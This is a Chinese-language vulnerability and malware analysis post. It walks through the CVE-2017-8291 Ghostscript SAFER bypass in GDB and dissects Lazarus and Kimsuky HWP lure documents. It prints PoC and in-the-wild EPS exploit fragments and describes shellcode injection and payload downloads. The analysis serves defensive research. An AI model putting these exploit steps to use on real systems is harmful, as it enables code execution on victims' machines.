CVE-2017-8291及利用樣本分析

Gcow安全團隊發表於2020-05-01

CVE-2017-8291及利用樣本分析

1.本文一共4500多字 88張圖 預計10分鐘閱讀完畢
2.本人系複眼小組ERFZE師傅原創,未經允許禁止轉載
3.本文可能存在部分表達的不清甚至錯誤的情況,還希望各位看官在公眾號留言多多提出,非常感謝!

封面

0x00 前言:

在日常的針對朝鮮半島APT活動的分析中,我們可以看到其來自朝鮮的APT組織,例如:lazarus,kimsuky等,其載荷中大量使用了韓國辦公軟體Hancom office所對應的hwp字尾的樣本進行投遞.本文將透過解析其中所用的最多的漏洞——CVE-2017-8291為切入點進行相關的分析,以及kimsuky,LazarusAPT組織樣本的除錯過程

 

注意:筆者在此前從未接觸過Postscript及Ghostscript(甚至不聞其名),該文權當筆者在學習過程中的一篇學習筆記,其中如有不當之處,望各位看官能夠賜教,筆者感激不盡!。

0x01 Postscript:

讀者可以先行安裝Ghostscript,之後便可於其中執行下列示例。

0x01.1 介紹:(引自維基百科)

注:讀者若要詳細瞭解,見參考連結。

 

PostScript是一種圖靈完全的程式語言,通常PostScript程式不是人為生成的,而是由其他程式生成的。然而,仍然可以使用手工編制的PostScript程式生成圖形或者進行計算。

 

PostScript是一種基於堆疊的解釋語言(例如stack language),它類似於Forth語言但是使用從Lisp語言派生出的資料結構。這種語言的語法使用逆波蘭表示法,這就意味著不需要括號進行分割,但是因為需要記住堆疊結構,所以需要進行訓練才能閱讀這種程式。

0x01.2 入門示例:

  1. 1 2 add:1+2

  2. 3 4 add 5 1 sub mul:(3 + 4) × (5 - 1)

  3. /x1 15 def:定義一變數x1,其值為15

  4. /x1 x1 2 add defx1+=2

  5. x1 0 eq { 0 } if{}可以簡單理解為定義一過程

  6. %!PS-Adobe-3.0 EPSF-3.0:註釋語句以%開頭

0x01.3 For語句:

for語句語法:initial increment limit proc for

 

它會維護一個control variable,初始值設為initial。然後,在每次重複之前,會先比較control variablelimit。若未超過limit,則
control variable入棧,執行proc之後再將increment新增到control variable

 

示例如下:

0
1 1 10 {
    pop
    1 add
} for

可以用C語言寫成(僅僅為表示其功能):

int a = 1;
int i;
for (i = 1; i <= 10; i++)
{
    a+=1:
}

圖片1 執行結果

pstack列印當前棧中所有元素。

0x01.4 exch語句:

交換堆疊頂部的兩個元素:

 

圖片2 exch

 

可以用來給變數賦值:

 

圖片3 變數賦值

0x01.5 array語句:

定義陣列:

 

圖片4 定義陣列

0x01.6 put語句:

為陣列/字典/字串中某個元素賦值:

 

圖片5 陣列

 

圖片6 字典

 

圖片7 字串

0x01.7 index語句:

index語句語法:anyn … any0 n index

 

複製第n個元素到棧頂:

 

圖片8 index

 

forput語句結合使用,可以為整個陣列賦值:

 

圖片9 整個陣列賦值

 

可以用C語言寫成(僅僅為表示其功能):

int tmp[10];
int i;
int a = 0;
for (i = 1; i <= 10; i++)
{
    tmp[a] = i;
    a += 1;
}

0x01.8 get語句:

put語句相反,取出陣列/字典/字串中某個元素:

 

圖片10 陣列

 

圖片11 字典

 

圖片12 字串

0x01.9 aload語句:

將陣列元素及其自身入棧:

 

圖片13 aload

0x01.10 le語句:

取出棧頂兩個元素進行比較,結果(前者小於後者,為true;反之為false)入棧:

 

圖片14 數值

 

圖片15 字串

0x01.11 ge語句:

le語句比較規則相反:

 

圖片16 ge

0x01.12 repeat語句:

repeat語句語法:int proc repeat

 

重複執行proc指定次數:

 

圖片17 repeat

筆者上述介紹的語句均在POC中出現,若讀者未完全理解,可進一步查閱官方參考文件。

0x02 POC分析:

筆者分析環境:Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg

 

 

可以用C語言寫成(僅僅為表示其功能):

    int size_from = 10000;
    int size_step = 500;
    int size_to = 65000;

    int a = 0;
    int i;

    for (i = size_from; i <= size_to; i += size_step)
        a += 1;

    int buffercount = a;
    int* buffersizes = NULL;
    buffersizes = (int*)malloc(buffercount * sizeof(int));

    a = 0;
    for (i = size_from; i <= size_to; i += size_step)
    {
        buffersizes[a] = i;
        a += 1;
    }

 

 

其功能為定義buffers,令buffers[n]buffersizes[n] string(e.g.:buffers[0]=10000 string),且每個buffers[n]的最後16位均為0xFF
關於cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for這段程式碼如何修改buffers[n]的理解,可參閱下圖:

 

圖片20 示例程式碼


 

下面到了關鍵部分。首先修改POC如下:

/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

buffers            %++
(buffers) print    %++
pop                %++

enlarge array aload
(after aload) print        %++

如此一來,可直接在zprint()函式處設斷。(若在zaload()函式處設斷,無法一次斷下)

 

啟動GDB後設定引數如下:

set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps

實現aload操作的函式zaload()[位於/psi/zarray.c]是第一個關鍵點:

 

 

b zprint設定斷點,r開始執行後,成功在zprint()函式處斷下:

 

 

檢視osp及osbot(變數名osbot,osp和ostop代表operator stack的棧底、棧指標和棧頂):

gdb-peda$ p osbot
$29 = (s_ptr) 0x555557040408    
gdb-peda$ p osp
$30 = (s_ptr) 0x555557040418        
gdb-peda$ x /4gx osbot
0x555557040408:    0x0000006f5715047e    0x00005555572d5e60
0x555557040418:    0x00000007ffff127e    0x00005555575d44e9

根據ref_s結構(位於/psi/iref.h)的定義:

struct ref_s {

    struct tas_s tas;

    union v {            /* name the union to keep gdb happy */
        ps_int intval;
        ushort boolval;
        float realval;
        ulong saveid;
        byte *bytes;
        const byte *const_bytes;
        ref *refs;
        const ref *const_refs;
        name *pname;
        const name *const_pname;
        dict *pdict;
        const dict *const_pdict;
        /*
         * packed is the normal variant for referring to packed arrays,
         * but we need a writable variant for memory management and for
         * storing into packed dictionary key arrays.
         */
        const ref_packed *packed;
        ref_packed *writable_packed;
        op_proc_t opproc;
        struct stream_s *pfile;
        struct gx_device_s *pdevice;
        obj_header_t *pstruct;
        uint64_t dummy; /* force 16-byte ref on 32-bit platforms */
    } value;
};

可知0x00005555575d44e9地址處儲存的應該是buffers字串,驗證之:

 

圖片23 字串buffers

 

那麼0x00005555572d5e60地址處儲存的是buffers陣列,根據POC Part2能夠得知buffers[n]buffersizes[n] string,且每個buffers[n]的最後16位均為0xFF,驗證之:

 

 

b zaloadzaload()函式處設斷,c繼續執行,於zaload()函式處成功斷下後,s單步執行到if (asize > ostop - op)

gdb-peda$ p asize
$37 = 0x3e8
gdb-peda$ p ostop-op
$38 = 0x31f

IF條件成立,那麼呼叫ref_stack_push()函式(位於/psi/istack.c)重新分配棧空間:

/*
 * Push N empty slots onto a stack.  These slots are not initialized:
 * the caller must immediately fill them.  May return overflow_error
 * (if max_stack would be exceeded, or the stack has no allocator)
 * or gs_error_VMerror.
 */
int
ref_stack_push(ref_stack_t *pstack, uint count)
{
    /* Don't bother to pre-check for overflow: we must be able to */
    /* back out in the case of a VMerror anyway, and */
    /* ref_stack_push_block will make the check itself. */
    uint needed = count;
    uint added;

    for (; (added = pstack->top - pstack->p) < needed; needed -= added) {
        int code;

        pstack->p = pstack->top;
        code = ref_stack_push_block(pstack,
                                    (pstack->top - pstack->bot + 1) / 3,
                                    added);
        if (code < 0) {
            /* Back out. */
            ref_stack_pop(pstack, count - needed + added);
            pstack->requested = count;
            return code;
        }
    }
    pstack->p += needed;
    return 0;
}

之後的操作是向重新分配的棧空間中寫入內容,b zarray.c:71於修改osp語句設斷,c繼續執行到斷點處:

gdb-peda$ x /2gx osp
0x5555575006f8:    0x0000000000000e00    0x0000000000000000
gdb-peda$ x /2gx &aref
0x7fffffffc8e0:    0x000003e85715047c    0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /2gx osp
0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8

x /222gx 0x5555572d5e60檢視buffers陣列的每一項地址:

 

圖片25 buffers

 

注意:osp(0x5555575006f8)位於上圖箭頭所指陣列項下方。


 

實現.eqproc操作的函式zeqproc()(位於/psi/zmisc3.c)是第二個關鍵點。.eqproc是取出棧頂兩個元素進行比較之後入棧一個布林值(<proc1> <proc2> .eqproc <bool>):

 

 

可以看出其在取出兩個運算元時並未檢查棧中元素數量,且並未檢查兩個運算元型別,如此一來,任意兩個運算元都可以拿來進行比較。其修復方案即是針對此兩種情況:

--- a/psi/zmisc3.c
+++ b/psi/zmisc3.c
@@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p)
     ref2_t stack[MAX_DEPTH + 1];
     ref2_t *top = stack;

+    if (ref_stack_count(&o_stack) < 2)
+        return_error(gs_error_stackunderflow);
+    if (!r_is_array(op - 1) || !r_is_array(op)) {
+        return_error(gs_error_typecheck);
+    }
+
     make_array(&stack[0].proc1, 0, 1, op - 1);
     make_array(&stack[0].proc2, 0, 1, op);
     for (;;) {

b zeqproc設斷後,c繼續執行,於zeqproc()函式處成功斷下。接下來b zmisc3.c:112make_false(op - 1);設斷:

gdb-peda$ b zmisc3.c:112
Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.
gdb-peda$ c
......
gdb-peda$ p osp
$66 = (s_ptr) 0x5555575006f8
gdb-peda$ x /4gx osp-1
0x5555575006e8:    0x0000000000000e02    0x0000000000000000
0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /4gx osp-1
0x5555575006e8:    0x0000000000000100    0x0000000000000000
0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8

可以看到make_false()修改之處。之後的pop(1);將棧指標上移,如此一來.eqprocloop結合便可導致棧指標上溢。


 

下面來看POC Part3:

 

 

其透過buffersearchvars陣列來檢索buffers[N](修改項見圖片25)字串後16位是否被make_false()修改,進而判斷osp是否到達可控範圍,並透過buffersearchvars陣列來儲存位置。

 

於POC中254 le {後新增(Overwritten) print,並將之前新增的print語句全部註釋掉。重新啟動GDB,設定引數見上,b zprint設斷後,r開始執行,成功斷下後:

gdb-peda$ x /8gx osp-2
0x5555574fc958:    0xffffffffffff0100    0xffffffffffff0000
0x5555574fc968:    0x0000a604ffff127e    0x00005555574f2364
0x5555574fc978:    0x0000000a2f6e127e    0x00005555575de0fb
0x5555574fc988:    0x5245504150200b02    0x0000000000000001

如此一來,buffersearchvars[2]設為1,退出loop迴圈。buffersearchvars[3]儲存當前檢索的buffers[N],buffersearchvars[4]儲存buffersizes[N]-16。


 

POC Part4是修改currentdevice物件屬性為string,並儲存至sdevice陣列中,之後再覆蓋其LockSafetyParams屬性,達到Bypass SAFER。

 

 

三個.eqproc語句上移osp是因為後面會有sdevice、0、currentdevice入棧。修改POC如下,便於設斷:

(before zeqproc) print
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
(before convert) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
(after convert) print
put

buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put

(bypass SAFER) print

zprint斷下後,檢視上移前osp:

gdb-peda$ p osp
$1 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938:    0x0000000000000000    0x0000000000000000        //sdevice
0x5555574fc948:    0x0000000000000000    0x0000000000000000        //0
0x5555574fc958:    0xffffffffffff0100    0xffffffffffff0000        //currentdevice
0x5555574fc968:    0x0000000effff127e    0x00005555572d8140
0x5555574fc978:    0x00000001ffff04fe    0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d8140
0x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e   before zeqproc.>

c繼續向下執行:

gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938:    0x00000001ffff047e    0x00005555575d4428
0x5555574fc948:    0x00000252ffff0b02    0x0000000000000000
0x5555574fc958:    0xffffffffffff1378    0x000055555709d488
0x5555574fc968:    0x0000000effff127e    0x00005555572d812a
0x5555574fc978:    0x00000001ffff04fe    0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d812a
0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f   before convert.?

可以看到currentdevice已經覆蓋掉之前的字串buffers[N],接下來的三條語句修改其屬性:

buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put    %0x127e表示string
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put    %修改size

關於屬性各欄位定義見tas_s結構(位於/psi/iref.h)):

struct tas_s {
/* type_attrs is a single element for fast dispatching in the interpreter */
    ushort type_attrs;
    ushort _pad;
    uint32_t rsize;
};

修改完成:

gdb-peda$ c
......
gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938:    0x00000001ffff047e    0x00005555575d4428
0x5555574fc948:    0x00000252ffff0b02    0x0000000000000000
0x5555574fc958:    0xffffffffffff127e    0x000055555709d488
0x5555574fc968:    0x0000000dffff127e    0x00005555572d8115
0x5555574fc978:    0x00000002ffff0b02    0x000000000000a5f9
gdb-peda$ hexdump 0x00005555572d8115
0x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00   after convert.?.

檢視此時的LockSafetyParams值:

gdb-peda$ x /4gx 0x000055555709d488+0x3e8
0x55555709d870:    0x0000000000000001    0x0000000000000000
0x55555709d880:    0x0000000000000000    0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3b0
0x55555709d838:    0x0000000000000000    0x0000000000000000
0x55555709d848:    0x0000000000000000    0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3f0
0x55555709d878:    0x0000000000000000    0x0000000000000000
0x55555709d888:    0x0000000000000000    0x0000000000000000

可以看到偏移0x3e8處值為1(另外兩處偏移應該是針對其他系統或版本)。LockSafetyParams屬性見gx_device_s結構(位於\base\gxdevcli.h)。

 

最後透過.putdeviceparams(實現位於/psi/zdevice.c)設定/OutputFile(%pipe%echo vulnerable > /dev/tty).outputpage完成呼叫。

0x03 Lazarus組織利用樣本分析:

0x03.1 樣本1:

樣本名稱:라자루스_에어컨계약.hwp

MD5:EC0C543675374A0EE9A83A4D55CA1A6C

 

使用HwpScan2開啟文件,可以看到其中的PS指令碼:

 

圖片29 PS指令碼

 

匯出解壓後的PS指令碼,其中Y101變數儲存加密後Shellcode,直接改寫該指令碼將Y101變數解密並寫入一EPS檔案中:

 

圖片30 解密Shellcode

 

EPS指令碼中有如下語句:

label13 label10 aload 

/label82 true def 
/label83 0 def 

{ 
    .eqproc 
    /label84 true def 
    /label69 0 def 
    label6                                         
    { 
        /label84 true def 
        /label3 label7 label69 get def               
        /label85 label3 length 16#20 sub def     
        label3 label85 get 
        {     
            label84 
            { /label84 false def } 
            { /label84 true def exit } 
            ifelse 
        } 
        repeat 
        label84 
            { /label82 false def exit } 
        if 
        /label69 label69 1 add def 
    } 
    repeat 
    label84 
        { /label82 false def exit } 
    if 
    /label83 label83 1 add def 
} 
loop 

label82 
    { quit } 
    { } 
ifelse 

label2 0 label2 
label3 label85 16#18 add 16#7E put 
label3 label85 16#19 add 16#12 put 
label3 label85 16#1A add 16#00 put 
label3 label85 16#1B add 16#80 put 
put

可以看出其確實利用了CVE-2017-8291

 

繼續分析解密後的EPS指令碼可以看到其呼叫了VirtualProtect()函式:

 

圖片31 呼叫VirtualProtect

 

x32dbg中開啟gbb.exe,最新的HWP已經移除該元件,筆者分析時使用的HWP版本如下:

 

圖片32 HWP版本

 

之後修改命令列,其引數為開啟文件後於Temp目錄下釋放的PS指令碼(即HwpScan2中的BIN0001.ps)完整路徑:

 

圖片33 改變命令列

 

VirtualProtect()函式處設斷後F9執行,成功斷下:

 

 

透過0xAABBCCDD標誌確定ECX指向:

 

圖片35 標誌0xAABBCCDD

 

由ECX給函式傳遞引數,獲取系統函式呼叫地址:

 

圖片36 傳遞引數

 

圖片37 獲取系統函式呼叫地址

 

判斷當前程式是否執行在WOW64環境中:

 

圖片38 IsWow64Process

 

獲取當前系統內所有程式的快照:

 

圖片39 獲取快照

 

獲取第一個程式的控制程式碼:

 

圖片40 Process32First

 

透過Process32Next()列舉程式,並傳遞給sub_026AF131函式判斷是否為explorer.exe

 

圖片41 列舉並判斷

 

返回explorer.exe程式ID:

 

圖片42 explorer.exe程式ID

 

之後將Shellcode注入到explorer.exe程式中:

 

圖片43 呼叫函式

 

圖片44 第一次寫入

 

圖片45 第二次寫入

 

x64dbg附加到explorer.exe上,分析其Shellcode功能。同樣是透過0xAABBCCDD標誌確定RCX指向:

 

圖片46 標誌0xAABBCCDD

 

由ECX給函式傳遞引數,獲取系統函式呼叫地址:

 

圖片47 傳遞引數

 

圖片48 獲取系統函式呼叫地址

 

之後呼叫sub_4890EE0判斷當前程式是否為explorer.exe程式:

 

圖片49 判斷當前程式

 

移動指標指向,並將gozdeelektronik[.]net提取出來:

 

圖片50 移動指標

 

 

載入WinInet.dll

 

圖片52 載入WinInet.dll

 

獲取即將呼叫函式呼叫地址:

 

圖片53 獲取函式呼叫地址

 

之後從gozdeelektronik[.]net下載第二階段載荷movie.jpg:

 

圖片54 下載第二階段載荷

0x03.2 樣本2:

樣本名稱:2020년 연구ㆍ전문원 및 수자원분야 경력사원 선발 모집요강.hwp

MD5:F90770D4A320BF15E51FDD770845DCE5

 

同樣是先使用HwpScan2檢視該文件:

 

圖片55 HwpScan2

 

tomato變數儲存的是未加密的EPS指令碼,可直接將其內容複製出來檢視。其與上一利用指令碼不同之處在於其採用拼接方式來定義名稱字串:

......
{(KE) (RN) (EL) (32) (.D) (LL) 6 zyx01}
......
{(Vi) (rt) (ua) (lP) (rotect) 5 zyx01}
......
{(Ex) (it) (pro) (ce) (ss) 5 zyx01}
......

除錯方法同上,不再贅述。可以成功在VirtualProtect()函式處斷下:

 

 

獲取GetProcAddress()呼叫地址:

 

 

獲取LoadLibrary()呼叫地址:

 

 

載入msvcrt.dll並獲取system()函式呼叫地址:

 

圖片59 載入msvcrt.dll

 

 

透過call 02250806指令來為system()函式傳遞引數:

 

 

其執行指令的功能是於TEMP目錄下建立一名為adsutil.vbs的VBS指令碼,寫入內容並執行該指令碼:

 

圖片62 指令功能

 

該VBS指令碼經整理後內容如下:

 

圖片63 VBS指令碼內容

 

該指令碼功能是於https[:]//matteoragazzini[.]it下載第二階段載荷,解碼後寫入svchost.exe中並執行之。

0x04 Kimsuky組織某樣本分析:

樣本名稱:(첨부2)20-0206법인운영상황평가표서식(법인작성용).hwp

MD5:8AD471517E7457EB6EEA5E3039A3334F

 

HwpScan2檢視該文件,會發現該樣本不同於Lazarus組織的兩個樣本在於其EPS指令碼最後部分:

 

圖片64 HwpScan2

 

同樣是在VirtualProtect()函式處斷下:

 

 

透過ECX給sub_02544D7D傳遞引數獲取系統函式呼叫地址:

 

圖片66 獲取函式呼叫地址

 

呼叫GetComputerName()獲取計算機名並於其後新增經過計算的十六進位制值,之後透過異或及指定運算來為即將建立的檔案命名:

 

圖片67 計算檔名

 

於臨時目錄下建立檔案:

 

圖片68 建立檔案

 

之後再次計算一檔名並建立檔案:

 

圖片69 建立另一檔案

 

呼叫ZwQuerySystemInformation()遍歷系統所有開啟的控制程式碼,此時SystemInformationClass=SystemHandleInformation,若緩衝區不足則把申請記憶體的大小擴大一倍之後呼叫RtlReAllocateHeap()再次申請,直至成功為止:

 

 

接下來呼叫ZwQueryObject()查詢物件的型別,找到開啟的EPS檔案:

 

 

使用CreateFileMapping()MapViewOfFile()函式將EPS檔案對映到程式記憶體空間中:

 

圖片72 對映檔案

 

對映完成:

 

圖片73 對映完成

 

移動指標指向EPS指令碼最後部分:

 

圖片74 定位

 

呼叫VirtualAlloc()函式為其開闢記憶體空間:

 

圖片75 VirtualAlloc

 

解密並寫入到分配的記憶體空間中:

 

圖片76 解密並寫入

 

實際上解密後的該部分將被注入到HimTrayIcon.exe程式中,詳見下文分析。
獲取當前系統內所有程式的快照之後透過Process32Next()列舉程式:

 

圖片77 列舉程式

 

圖片78 跳出迴圈

 

遍歷執行緒,找到HimTrayIcon.exe之後開啟並掛起執行緒:

 

圖片79 遍歷執行緒

 

將解密出來的Shellcode寫入到程式:

 

圖片80 注入

 

之後呼叫RtlCreateUserThread()函式恢復執行緒的執行。最終釋放記憶體空間並退出:

 

圖片81 退出

 

其注入Shellcode可以附加HimTrayIcon.exe之後除錯,亦可將Shellcode轉成exe之後除錯,筆者選擇轉成exe之後再進行除錯。解密記憶體中的PE檔案:

 

圖片82 解密PE檔案

 

獲取系統資料夾並拼接路徑:

 

圖片83 GetSystemDirectoryA

 

建立程式:

 

圖片84 CreateProcess

 

呼叫GetThreadContext()函式,若失敗則直接TerminateProcess

 

圖片85 GetThreadContext

 

獲取系統版本資訊,以此來判斷下一步如何執行:

 

圖片86 GetVersionEx

 

多次呼叫WriteProcessMemory()函式於建立的程式中寫入PE檔案內容:

 

圖片87 寫入PE檔案

 

恢復執行緒執行:

 

圖片88 ResumeThread

0x05 參考連結:

  • Wikipedia —— https://zh.wikipedia.org/wiki/PostScript
  • 官方參考文獻 —— https://web.archive.org/web/20170218093716/https://www.adobe.com/products/postscript/pdfs/PLRM.pdf
  • POC —— https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2017-8291/msf.eps
  • Ghostscript 9.21 —— https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs921
  • GhostButt - CVE-2017-8291利用分析—— https://paper.seebug.org/310

相關文章